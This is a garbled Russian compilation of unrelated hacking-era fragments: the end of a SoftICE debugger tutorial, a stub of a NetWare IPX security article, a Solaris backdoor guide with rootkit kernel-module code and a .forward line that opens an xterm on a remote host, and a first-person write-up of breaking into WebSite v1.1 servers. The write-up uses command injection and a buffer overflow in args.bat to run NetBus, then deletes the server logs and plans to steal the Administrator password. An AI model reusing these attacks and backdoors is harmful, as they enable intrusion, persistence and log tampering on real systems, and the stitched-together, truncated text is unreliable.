Установим точку останова на доступ к первому двойному слову данных экземпляра окна POLYWINDOW. Как уже отмечалось выше, входным аргументом для функции LockWindowInfo является дескриптор окна, выходным адрес данных экземпляра окна. После срабатывания точки останова поставленной на функции LockWindowInfo с параметром соответствующим дескриптору окна POLYWINDOW, на выходе функции будем иметь адрес данных экземпляра окна POLYWINDOW, по этому адресу и поставим точку останова на доступ к памяти.
Для того чтобы получить адрес данных экземпляра окна, выполним программу до строки с номером 57 (в файле WININFO.C):
:G .57
функция возвращает 32-битное значение (в нашем случае адрес) в регистре EAX, поэтому можно используя команду BPMD (BreakPoint Memory Dword) и значение адреса в регистре EAX, поставить точку останова на доступ к первом слову данных экземляра окна POLYDEMO:
:BPMD EAX
Эта команда использует регистры аппаратной отладки встроенные в процессор для отслеживания чтения и записи двойного слова по указанному линейному адресу. В данном случае это первое слово данных экземпляра окна POLYDEMO. Используйте команду BL что бы проверить правильность установки точки останова.
:BL
00) BPX LOCKWINDOWINFO IF ((ESP->4)==0x00000730)
01) BPMD #015F:0052006C RW DR3
Точка останова с номером 0 установлена на исполнение функции LockWindowInfo и точка останова с номером 1 стоит на доступ к памяти по адресу #015F:0052006C.
Отключите 0 точку останова командой BD (Breakpoint Disable):
:BD 0
В отличие от команды BC, которая удаляет точку останова, команда BD временно отключает точку, т.е. она не будет срабатывать, но ее в любой момент можно включить обратно командой BE (Breakpoint Enable). Отключенные точки останова выделяются звездочками рядом с порядковым номером точки останова.
:BL
00) * BPX LOCKWINDOWINFO IF ((ESP->4)==0x00000730)
01) BPMD #015F:0052006C RW DR3
Запустите SoftIce командами X или G, когда окно POLYDEMO попытается получить доступ к первому двойному слову экземпляра данных окна, сработает точка останова и SoftIce всплывет, это будет происходить в функциях PolyRedraw и PolyDrawBez. Эти функции обращаются к полю nBezTotal, которое находиться по нулевому смещению в данных экземпляра окна POLYDEMO. Значение этого поля задает количество кривых одновременно выводимых в окно POLYDEMO.
Примечание: Из-за особенностей архитектуры процессоров Intel перехват обращения к ячейки памяти произойдет после исполнения команды обращающейся к памяти, т.е. SoftIce осановиться на следующей команде.
Сбросьте все точки останова командой BC * и выйдете из SoftIce.
Эпилог
Если вы добрались до этих строк – значит вы отладили свою первую программу с помощью замечательного отладчика SOFTICE. Но возможности SoftIce не ограничиваются теми, которые мы здесь вкратце рассмотрели, они гораздо больше.
Замеченные ошибки в версии 3.24:
При отладке программы в Code Window неправильно дизассемблируются команды перехода ( JXX SHORT), т.е. стрелочка показывает направление перехода правильно, а в мнемонике он на 100H больше (или меньше – не помню).
Автор выражает огромную благодарность всем тем, кто помогал в написании данного опуса : моей любимое девушке Наденьке; Эрнесту Полетаеву – за приведение в божеский вид того, что я написал и за подробные консультации; Михайлову Антону и Махонину Юре – за идею и возможность осуществления оной; Диме Петрасу – за то что он мой фидошный босс; и всем тем кого здесь нету :-))).
Специально оставленные программы.
В системе могут быть оcтавлены файлы, такие как passwd крекеры, exploits для suid программ, etc. На не пропатченной системе с помощью exploitов могут быть получены root привелегии за счет выполнения кода в стеке программ имеющих sticky-bit.
Уделяя основное внимание защите
ПОДДЕЛКА АДРЕСОВ
ГОЛЛАНДСКАЯ АТАКА
АТАКА ПО-РУССКИ
ПОДПИСЬ ПАКЕТОВ
ДРУГИЕ АСПЕКТЫ БЕЗОПАСНОСТИ
В предыдущих номерах LAN уже печатались материалы, посвященные системе безопасности сети Novell NetWare. В данной статье хотелось бы рассказать о некоторых аспектах ее защиты на сетевом уровне, об ее достоинствах и недостатках.
Как правило, сеть NetWare базируется на протоколе IPX (в принципе использование IP возможно, но нами этот вариант рассматриваться не будет).
Протокол IPX был разработан фирмой Xerox, а затем доработан компанией Novell. IPX предназначен для применения в локальных сетях. Предполагается, что вся сеть разделена на логические сегменты, и все они получают уникальный номер. Адрес (идентификатор) рабочей станции в IPX-пакете совпадает с уникальным для каждой сетевой платы номером (MAC-адресом). Структура заголовка IPX-пакета изображена на Рисунке 1.
Рисунок 1.
Структура заголовка пакета IPX.
и добиться там root привелегий
Проникнуть в чужую систему и добиться там root привелегий это еще полдела. Как и в известной игре в "Царя горы", завоеванное нужно удержать. Для этого в систему вносятся небольшие изменения, оставляются программы. Это и есть backdoors. Чтобы найти их в своей системе ( А вдруг они там уже есть?! ;-), необходимо понимать способы их создания. В этом документе я не претендую на описание всех возможных backdoors. Вы можете предложить свой способ и пополнить коллекцию. Все названия относятся к OS Solaris. В других *NIX системах они аналогичны.
Введение доверенных отношений
~user/.rhosts, /etc/host.equiv, ~user/.shosts (при установленном SSH) Эти файлы создают доверенные отношения в сети. К ним обращаются демоны in.rlogind, in.rshd, sshd, etc. В файлах оговорены пары компьютер-пользователь которые могут входить в систему минуя схему аутенфикации. Пара '+ +' позволяет вход любого пользователя с любого компьютера без пароля. Наличие файла /.rhosts {+ +} предоставляет возможность войди в систему как root или smtp (uid=0, gid=0). Ограничение на вход пользователя root только с консоли не запрещает удаленный вход пользователя smtp, a /usr/bin/.rhosts дает вход для пользователя 'bin'
~user/.forward в этом файле хранится информация для перенаправления почты. Он может выглядеть например так:
\user |"/usr/openwin/bin/xterm -display another.host.net:0"
Введение модулей в ядро.
Модули могут перехватывать системные вызовы обращения к файлам, получения информации о системе и сознательно искажать получаемую информацию. Например, при открытии файла "/etc/inetd.conf" будет происходить открытие резервной копии этого файла спрятанной в системе. Таким образом скрывается изменение системных файлов. SYS_open:
SYS_open Solaris 2.6 ... static char new_path = "/var/tmp/.locks/.idx/inetd.conf"; int my_open(char *fname, int fmode, int cmode) { int rval;
rval = bcmp(fname, "/etc/inetd.conf", 16); if( rval) { return(copen(fname, (int)(fmode-FOPEN), cmode)); } else { return(copen(new_path, (int)(fmode-FOPEN), cmode)); } } ...
Website
Взлом WWW-сервера на основе WebSite v1.1x
Начало.
Как-то на HackZone я встретил заметочку о том, что взломан web-сервер фирмы IdSoftware с помощью стандартных примеров скриптов, идущих в поставке с WebSite'ом, - args.bat и uploader.exe. А так как в нашем университете довольно много www серверов на основе WebSite (ну если штук 5-6 это много), то я решил вплотную занятся ими :)
Итак, взлом осуществляется через стандартные примеры, идущие в поставке с web-сервером, а так как люди еще не сильно задумываются о защите своего сайта, считая это не очень большой проблемой, и часто оставляют все на Авось, то просто ставят WebSite, ничего не предпринимая для его настройки и обеспечения достаточной защиты. Все пять найденных мной сайтов под управлением WebSite v1.1 имели лазейку, описанную ниже, которая обеспечивала почти полный доступ к машине, на которой они находились, в том числе и мой :)
Необходимое.
Как у нас ставят WebSite? Просто давят кнопку Install, и потом прога говорит, что web-сервер поставлен. Люди находят, где находится корень web-сайта, закачивают туда свою информацию, и все так и живет, пока не наступает время дельта Тэ (с) Zeus. Что же появляется в таком состоянии? По умолчанию отображается (мапится, mapping) куча ненужных для работы сервера каталогов /java/, /publish/, /wsdocs/, /cgi-dos/, /cgi-win/. Конечно, в какой-то момент времени они, возможно, и понадобятся, но вначале они просто не нужны. Это с одной стороны, с другой стороны создателям WebSite со всех сторон нужно показать возможности этого сервера, что они с успехом и делают, открывая потециальные дырки в защите web сайта и заполняя эти каталоги разнообразными примерами, так радующими глаз потенциального взломщика.
Сперва я поставил себе на машину WebSite v1.1f в дефолтовой конфигурации и приступил к исследованию его на дырки.
Задача перед нами стоит такая: закачать на ломаемый сервер какое-нибудь средство удаленного администрирования и управления типа ВО или NetBus и запустить его (я использовал по-быстрому найденный в нашей локалке NetBus v1.6 с именем файла серверной части Patch.exe).
Этап закачки для нас не представлял никакого интереса т.к. по умолчанию WebSite позволяет удаленно запустить /cgi-win/uploader.exe и закачать кому угодно что угодно. В принципе, так даже можно положить эту самую НТ: закачивать туда всякой фигни, пока место на диске не кончится. Скорей всего, тут ей кранты и придут - это если WebSite стоит на том же диске, где стоит система или валяется своп-файл (но я в этих вопросах не сильно силен, пусть меня поправят более знающие люди, да и речь сейчас не об этом).
Вторым этапом является выяснение месторасположения каталога с WebSite'ом. Это делается тоже отчень легко, просто удаленно запускаем файл /cgi-dos/ args.bat, на что нам в ответ приходит сообщение типа
Empty output from CGI program D:/WebSite/cgi-dos/args.bat
, что однозначно определяет каталог с WebSite'ом. Тогда отображаемый каталог /cgi-dos/ будет находится в каталоге D:/WebSite/cgi-dos/, а путь к файлу Patch.exe, который мы закачиваем будет D:/WebSite/UploadS/Patch.exe
Итак, момент к которому мы подошли - это исследование на предмет возможности запуска файла, который мы закачали. Почитывая разные статьи по этому поводу, например, выяснилось, что у web-сервера Apache есть уязвимость на счет тестовых скриптов /cgi-bin/test-cgi и /cgi-bin/nph-test-cgi, которые аналогичны присутствующему в WebSite примеру Args.bat. Эта уязвимость заключается в том, что возможна распечатка передаваемой строки в таком виде, в каком она присутствует, и это обычно делается строчкой скрипта
echo QUERY_STRING = $QUERY_STRING
т.е. если мы передаем строчку типа "> 1.bat", то по логике вещей строчка "QUERY_STRING =" будет перенаправлена в файл 1.bat, путь к этому файлу мы могли бы указать на каталог /cgi-bin/, он бы туда записался, и далее уже удаленно мы могли бы его запустить из этого каталога. В args.bat находится строчка
echo QUERY_STRING="%QUERY_STRING%" >> %of%
т.е. кто не слеп и видит, что строчка, передаваемая нами заключена в кавычки, и все, что мы надумали, просто-напросто обламывается.
Обламывается- то обламывается, но все дело в том, что мы можем засылать специальные непечатные символы типа CR (код 0dh), LF( код 0ah). Улавливаете? :) Появление таких символов в командной строке приведет к переводу строки в скрипте и вполне возможно, что следущей строчкой вдруг ни с того ни с сего окажется наш файл лежащий в каталоге /uploads/ . Уф, такие мысли просто будоражат кровь! :)
Так, сейчас мы ее маленько остудим, рассмотрев немного теории, поясняющей как запускаются .bat скрипты на web сервере на основе WebSite. :)
При обработке bat-скрипта во временном каталоге WebSite /cgi-temp/ создаются 4 файла xxxxx.acc, xxxxx.bat, xxxxx.inp, xxxxx.out. Нам в глаза сразу бросается файл xxxxx.bat. Так, при удаленном запуске /cgi-dos/args.bat получается такой файл xxxxx.bat:
@ECHO OFF&&TITLE WebSite CGI
D:\WebSite\cgi-dos\args.bat D:\WebSite\cgi-temp\xxxxx.out
если этому .bat файлу кинуть в командной строке аргументов, например, /cgi-dos/args.bat?africa.bat, то получим xxxxx.bat:
@ECHO OFF&&TITLE WebSite CGI
D:\WebSite\cgi-dos\args.bat africa.bat D:\WebSite\cgi-temp\xxxxx.out
Кто знает, что такое перенаправление потока данных (значки ">" и "
Запускаем вот так /cgi-dos/args.bat?>d:/Website/cgi-shl/1.bat получаем xxxxx.bat:
@ECHO OFF&&TITLE WebSite CGI
D:\WebSite\cgi-dos\args.bat africa.bat ^>D:/WebSite/cgi-shl/1.bat
D:\WebSite\cgi-temp\xxxxx.out
Видите, как нехорошо поступил WebSite - перед символом перенаправления ">" поставил какую-то гадость "^", от которой всякое перенаправление перестает быть перенаправлением. Если немного помучится, то можно выяснить, что эта фигня ставится перед символами >,
Как я уже писал выше, мы можем в командную строку вставлять спецсимволы, делается это так %0a. "%" - символ, говорящий о том, что следующие за ним два символа являются шестнадцатиричным представлением передаваемого в командной строке символа.
Запускаем /cgi-dos/args.bat?%0d%0aafrica.bat.
Получаем xxxxx.out:
@ECHO OFF&&TITLE WebSite CGI
D:\PROGRA~1\WebSite\cgi-dos\args.bat
africa.bat D:\WebSite\cgi-temp\xxxxx.out
Вот тут я подумал что они попали :), но жестоко обманулся! :( По моим мыслям, сначала управление передастся их батчику, а потом моему исполняемому файлу, который я закачал в /uploads/. Меня жестоко обманули, управление, переданное файлу args.bat, там и оставалось. Моему файлу africa.bat оставалось лишь смотреть, как управление было всего в одной строчке сверху его! :)
Cнова думаем! Вернемся к перенаправлению, если забивать много много перенаправлений типа ">", то вполне возможно, что в какой-то момент времени на каждый значок ">" не хватит значка "^", так как вполне возможно, что буфер у WebSite не резиновый. :) Стандартными средствами тут я уже обходится не мог, так как не мог ввести слишком много значков в строке адреса Internet Explorer'a, поэтому пришлось воспользоваться программой NetCat v1.10 for NT, ох и рульная же это вещица, при всем при том, что о большинстве функций я вообще не знаю, для чего они нужны. В моем случае она просто брала из файла запрос и отсылала его серверу.
nc.exe -v ИмяЛомаемогоСервера 80
Zapros.txt:
GET /cgi-dos/args.bat?>>>>>>>>>>....>>>africa.bat
Вот такой файл, где значков ">" около 700 штук после запуска NetCat'a с такими параметрами у меня повесил WebSite :) Хорошенькая нашлась фича, и, главное, обнаружилась фича, что если число значков равно 512, то вместо строк в темповом батчике xxxxx.bat
@ECHO OFF&&TITLE WebSite CGI D:\PROGRA~1\WebSite\cgi-dos\args.bat?^>^>^>^>...^>^> africa.bat
D:\WebSite\cgi-temp\xxxxx.out
Получается файл xxxxx.bat:
@ECHO OFF&&TITLE WebSite CGI africa.bat^>^>^>^^>^>^>^^>^>^>^^>^>^>^....^>^>^>^^>^>^>^^>^>^>^ D:\WebSite\cgi-temp\xxxxx.inp > D:\WebSite\cgi-temp\xxxx.out
Классное переполнение буфера получилось!!!!! Затем я после africa.bat поставил символы перевода строки 0dh,0ah (%0d%0a) и africa.bat поменял на regedit.exe, запустил NetCat, и что бы вы думали, у меня получилось? :) Угу, запустился regedit!!!!
Я еще немного потренировался, и выяснилось, что она не хочет, или не желает пускать програмки с длинными именами и с длинными путями к ним. Хорошо, что Website, где я его встречал, стоит прямо в корне, и доступ к каталогу /uploads/ получаем без проблем. И еще хорошо, что я начал с символа ">", если подставлять другие нормальные символы типа буковок или циферок, то WebSite на это никак не реагирует, просто не принимает их, если их довольно большое количество, и выдает ошибку, если они все поместились в буфер.
Ну, вот так я запустил на другой машинке NetBus, и дальше уже дело техники (почти).
Выкачиваем все нужное с Хакнутой машины. Закачиваем в каталог /cgi-shl/ с помощью NetBus'а еще одну копию серверной части этого самого NetBus'a под каким-нибудь дурацким именем. Я, например, закачиваю под именем win-c-example.exe т.к. он в этом каталоге уже есть, только соответственно старый файл нужно убить. Убиваем логи сервера access.log, error.log, upload.log. Вы думаете их просто убить? =) Фиг там, WebSite держит их открытыми, тут-то нам и пригодится умение ронять WebSite обнаруженный в начале нашего исследования. т.е. роняем WebSite, и только затем удаляем все логи. Нехорошо, если после нас в каталоге /uploads/ останется бяка в виде серверной части NetBus'a, ее нужно убить, но увы, она держится системой открытой поэтому мы просто перезагружаем всю машинку с WebSite'ом, перед этим сказав NetBus'у "Remove Server". Вот эта часть плана у меня не очень чисто проходила, в NetBuse я использовал и Reboot и Shutdown, и все равно удаленный сервер сам по себе не поднимался, не знаю почему, а пробовать на своей машине было влом. Тем не менее когда-нибудь ту машинку поднимали, считая что Винда это Сакс, и он сам может из-за пылинки вылететь в даун. Когда сервер снова поднялся, быстренько из /cgi-shl/ запускаем снова Netbus и чистим /uploads/ (Позже я выяснил, что NetBus копирует себя в системный каталог операционнки, и оттуда загружается в следующий раз, поэтому описанные действия немного неточны, и необходимо просто перезагрузить сервер)
Фу! Ну вот и все, дальше все ясненько, можно ломать дальше, отслеживая пароль Administrator'a т.к. обычно на тех тачках, где весит WebSite, находится и PDC (Primary Domain Controler). Можно, балуясь NetBus'ом, создать ситуацию, когда Administrator будет вынужден подойти к своему детищу и набрать заветное слово, которое нам и покажет Netbus :) Короче, все остальное лирика.
Был произведен "дружественный взлом" двух серверов, выкачана с них нужная информация, ну и затем сообщено о существующей дырке. В WebSite v2.xxx эта дыра закрыта, так как отсутствует каталог /cgi-dos, но присутствуют другие файлы типа guestbook, которая позволяет писать тэги, плюс присутствуют сырцы этих файлов, что меня очень радует и дает возможность заниматься таким интересным делом! :)